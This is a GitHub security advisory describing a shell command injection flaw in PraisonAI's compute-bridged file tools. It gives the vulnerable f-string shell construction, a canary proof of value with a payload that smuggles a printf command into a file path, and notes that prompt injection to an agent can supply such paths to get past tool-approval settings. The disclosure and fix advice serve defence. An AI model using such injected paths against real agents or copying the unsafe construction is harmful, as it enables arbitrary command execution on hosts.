GHSA-w6h2-fr4q-xvxv
PraisonAI: Compute-bridged file tools allow shell command injection
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
# Compute-bridged file tools allow shell command injection
## Summary
`LocalManagedAgent` / `SandboxedAgent` compute bridging wraps
`read_file`, `list_files`, and `write_file` when a compute provider is
attached. The bridge converts those file operations into shell command strings
using raw path arguments, then sends those strings to shell-backed compute
providers.
An attacker who can influence a file-tool path argument can break out of the
quoted path and execute arbitrary shell commands in the compute environment.
With `compute="local"`, commands execute through the local subprocess compute
provider on the host. With Docker, commands execute in the container.
## Affected Product
- Repository: `MervinPraison/PraisonAI`
- Package: `praisonai`
- Component: `src/praisonai/praisonai/integrations/managed_local.py`
- Confirmed affected:
- `v4.6.10`
- `v4.6.56`
- `v4.6.57`
- current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1`
- Confirmed not affected:
- `v4.6.9`
- `v4.6.1`
- `v4.5.149`
- Suggested affected range: `>= 4.6.10, <= 4.6.57`
## Root Cause
Current `managed_local.py` defines the bridged tool set:
```python
compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}
```
For file tools, `_bridge_file_tool()` constructs shell command strings:
```python
command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'
```
The local compute provider executes the string with
`asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it
with `["sh", "-c", command]`.
The bridge keeps the low-risk `read_file` / `list_files` tool names and
signatures while changing their execution primitive into shell interpretation.
## Why This Is Not Intended Behavior
Compute bridging itself is documented and intentional. The vulnerability is
that file path data is interpreted as shell syntax.
The normal `read_file` and `list_files` implementations treat the same payload
as a literal path and do not expand shell metacharacters. The approval registry
also marks `execute_command` as `critical`, while `read_file` and `list_files`
are not dangerous-tool entries.
## Impact
An application that exposes a PraisonAI agent using `LocalManagedAgent` or
`SandboxedAgent` with a compute provider and a restricted file-tool set can be
tricked into executing shell commands through a path argument to `read_file` or
`list_files`.
This can bypass least-privilege tool configuration and tool-approval
expectations. A prompt-injection path, chat endpoint, automation webhook, or
other user-controlled agent task can supply the file path argument without the
operator granting `execute_command`.
## Local PoV
The PoV is local-only and harmless. It uses an environment canary and compares
normal file tools against compute-bridged file tools.
Minimal inline reproducer:
```python
import os
from pathlib import Path
from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file
workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")
canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'
# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))
cfg = LocalManagedConfig(
name="prai-cand-006-poc",
tools=["read_file", "list_files"],
working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}
bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
print("normal_read_contains_canary", canary in normal_read)
print("normal_list_contains_canary", canary in normal_list)
print("bridged_read_contains_canary", canary in bridged_read)
print("bridged_list_contains_canary", canary in bridged_list)
```
Command:
```bash
python3 \
submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
--repo artifacts/repos/praisonai-current
```
Current-head result:
```json
{
"describe": "v4.6.57-4-g2f9677ab",
"vulnerable": true,
"normal_controls": {
"read_file_payload_contains_canary": false,
"list_files_payload_contains_canary": false
},
"bridged_results": {
"read_file_payload_contains_canary": true,
"list_files_payload_contains_canary": true
},
"approval_registry": {
"execute_command_risk": "critical",
"read_file_risk": null,
"list_files_risk": null
}
}
```
The payload used by the PoV is:
```text
missing"; printf "$PRAI_CAND_006_CANARY"; #
```
Normal `read_file` treats this as a literal missing filename. The bridged tool
constructs:
```sh
cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"
```
and returns the canary from the compute shell.
## Suggested Fix
Do not implement file operations by constructing shell command strings from
path/content arguments.
Preferred fix:
1. Add provider-native file APIs for read, write, and list operations, or pass
arguments as structured argv where the provider supports it.
2. Preserve the normal file-tool path validation and workspace boundary checks
for compute-bridged file tools.
3. Treat `write_file` content as data, not shell source. The current heredoc
construction is also unsafe if content can contain the delimiter.
4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks,
newline, and `#` and assert no shell execution occurs.
5. Keep `execute_command` as the only bridge path that intentionally accepts a
shell command string, with critical approval semantics.
A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from
`compute_bridged_tools` until safe provider-native file operations exist.
## Suggested Severity
The vector assumes an attacker has low-privilege access to an agent interface
that can request file-tool use. If a deployment exposes such an agent without
authentication, `PR:N` may be appropriate.
References
External links from the advisory. They lead to third-party sites.